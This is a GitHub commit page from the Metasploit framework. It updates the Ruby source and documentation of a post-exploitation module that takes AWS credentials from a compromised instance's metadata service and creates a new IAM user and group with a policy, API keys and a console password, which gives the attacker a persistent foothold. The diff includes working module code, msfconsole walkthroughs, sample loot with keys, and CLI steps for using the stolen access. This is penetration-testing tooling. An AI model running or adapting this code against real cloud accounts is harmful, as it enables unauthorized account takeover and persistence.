Skip to content

Commit

Permalink
Land rapid7#7682, @godinezj's improvements to rapid7#7604
Browse files Browse the repository at this point in the history
  • Loading branch information
jhart-r7 committed Dec 12, 2016
2 parents cfca189 + 446cb02 commit 7aa743b
Show file tree
Hide file tree
Showing 2 changed files with 66 additions and 11 deletions.
55 changes: 53 additions & 2 deletions documentation/modules/post/multi/escalate/aws_create_iam_user.md
Original file line number Diff line number Diff line change
Expand Up @@ -113,6 +113,11 @@ Active sessions

## Options

By default the module will:

* create a randomly named IAM user and group
* generate API Keys and User password for after

In the event that the session'd AWS instance does not have an IAM role assigned
to it with sufficient privileges, the following options can be used to provide
specific authentication material:
Expand All @@ -124,9 +129,30 @@ specific authentication material:
The following options control the account that is being created:

* `IAM_USERNAME`: set this if you would like to control the username for to user to be created
* `IAM_PASSWORD`: set this if you would like to control the password for the created user
* `CREATE_API`: when true, creates API keys for this user
* `CREATE_CONSOLE`: when true, creates a password for this user so that they can access the AWS console

```
msf exploit(sshexec) > use post/multi/escalate/aws_create_iam_user
msf post(aws_create_iam_user) > show options
Module options (post/multi/escalate/aws_create_iam_user):
Name Current Setting Required Description
---- --------------- -------- -----------
AccessKeyId no AWS access key
CREATE_API true yes Add access key ID and secret access key to account (API, CLI, and SDK access)
CREATE_CONSOLE true yes Create an account with a password for accessing the AWS management console
IAM_GROUPNAME no Name of the group to be created (leave empty or unset to use a random name)
IAM_PASSWORD no Password to set for the user to be created (leave empty or unset to use a random name)
IAM_USERNAME no Name of the user to be created (leave empty or unset to use a random name)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SESSION yes The session to run this module on.
SecretAccessKey no AWS secret key
Token no AWS session token
```

## Abusing an Overly Permissive Instance Profile

Expand All @@ -136,7 +162,6 @@ overly permissive access. Once a session is established, we can load
e.g., `SESSION 1` and run the exploit.

```
msf exploit(sshexec) > use auxiliary/admin/aws/aws_create_iam_user
msf post(aws_create_iam_user) > set SESSION 1
SESSION => 1
msf post(aws_create_iam_user) > exploit
Expand Down Expand Up @@ -195,7 +220,6 @@ SecretAccessKey => jhsdlfjkhalkjdfhalskdhfjalsjkakhksdfhlah
msf post(aws_create_iam_user) > set SESSION 1
SESSION => 1
msf post(aws_create_iam_user) > run
msf post(aws_create_iam_user) > run
[*] 169.254.169.254 - looking for creds...
[*] Creating user: bZWsmzyupDWxe8CT
Expand All @@ -222,12 +246,39 @@ bZWsmzyupDWxe8CT bZWsmzyupDWxe8CT 74FXOTagsYCzxz0pjPOmnsASewj4Dq/JzH3Q24qj AK
Information necessary to use the created account is printed to the screen and stored in loot:

```
$ cat ~/.msf4/loot/20161121175902_default_52.1.2.3_AKIA_881948.txt
{
"UserName": "As56ekIV59OgoFOj",
"GroupName": "As56ekIV59OgoFOj",
"SecretAccessKey": "/DcYUf9veCFQF3Qcoi1eyVzptMkVTeBm5scQ9bdD",
"AccessKeyId": "AKIAIVNMYXYBXYE7VCHQ",
"Password": "As56ekIV59OgoFOj",
"AccountId": "xxx"
```

These creds can be used to call the AWS API directly or you can login using the console.

Configuring the CLI:

```
$ aws configure --profile test
AWS Access Key ID [None]: AKIA...
AWS Secret Access Key [None]: THE SECRET ACCESS KEY...
Default region name [None]: us-west-2
Default output format [None]: json
```

Call the API, e.g., get the Account ID:

```
$ aws iam --profile test list-account-aliases
{
"AccountAliases": [
"Account_ID"
]
}
```

Login via the console using the username and password:

Go to the AWS Console at https://Account_ID.signin.aws.amazon.com/console/ and login.
22 changes: 13 additions & 9 deletions modules/post/multi/escalate/aws_create_iam_user.rb
Original file line number Diff line number Diff line change
Expand Up @@ -36,6 +36,8 @@ def initialize(info = {})
register_options(
[
OptString.new('IAM_USERNAME', [false, 'Name of the user to be created (leave empty or unset to use a random name)', '']),
OptString.new('IAM_PASSWORD', [false, 'Password to set for the user to be created (leave empty or unset to use a random name)', '']),
OptString.new('IAM_GROUPNAME', [false, 'Name of the group to be created (leave empty or unset to use a random name)', '']),
OptBool.new('CREATE_API', [true, 'Add access key ID and secret access key to account (API, CLI, and SDK access)', true]),
OptBool.new('CREATE_CONSOLE', [true, 'Create an account with a password for accessing the AWS management console', true]),
OptString.new('AccessKeyId', [false, 'AWS access key', '']),
Expand Down Expand Up @@ -89,19 +91,18 @@ def run
results['UserName'] = username

# create group
groupname = username
groupname = datastore['IAM_GROUPNAME'].blank? ? username : datastore['IAM_GROUPNAME']
print_status("Creating group: #{groupname}")
action = 'CreateGroup'
doc = call_iam(creds, 'Action' => action, 'GroupName' => groupname)
print_results(doc, action)
results['GroupName'] = groupname

# create group policy
policyname = username
print_status("Creating group policy: #{policyname}")
print_status("Creating group policy")
pol_doc = datastore['IAM_GROUP_POL']
action = 'PutGroupPolicy'
doc = call_iam(creds, 'Action' => action, 'GroupName' => groupname, 'PolicyName' => policyname, 'PolicyDocument' => URI.encode(pol_doc))
doc = call_iam(creds, 'Action' => action, 'GroupName' => groupname, 'PolicyName' => 'Policy', 'PolicyDocument' => URI.encode(pol_doc))
print_results(doc, action)

# add user to group
Expand All @@ -117,24 +118,27 @@ def run
action = 'CreateAccessKey'
response = call_iam(creds, 'Action' => action, 'UserName' => username)
doc = print_results(response, action)
results['SecretAccessKey'] = doc['SecretAccessKey']
results['AccessKeyId'] = doc['AccessKeyId']
if doc
results['SecretAccessKey'] = doc['SecretAccessKey']
results['AccessKeyId'] = doc['AccessKeyId']
end
end

if datastore['CREATE_CONSOLE']
print_status("Creating password for #{username}")
password = username
password = datastore['IAM_PASSWORD'].blank? ? Rex::Text.rand_text_alphanumeric(16) : datastore['IAM_PASSWORD']
action = 'CreateLoginProfile'
response = call_iam(creds, 'Action' => action, 'UserName' => username, 'Password' => password)
doc = print_results(response, action)
results['Password'] = password
results['Password'] = password if doc
end

action = 'GetUser'
response = call_iam(creds, 'Action' => action, 'UserName' => username)
doc = print_results(response, action)
return if doc.nil?
arn = doc['Arn']
results['AccountId'] = arn[/^arn:aws:iam::(\d+):/,1]
results['AccountId'] = arn[/^arn:aws:iam::(\d+):/, 1]

keys = results.keys
table = Rex::Text::Table.new(
Expand Down

0 comments on commit 7aa743b

Please sign in to comment.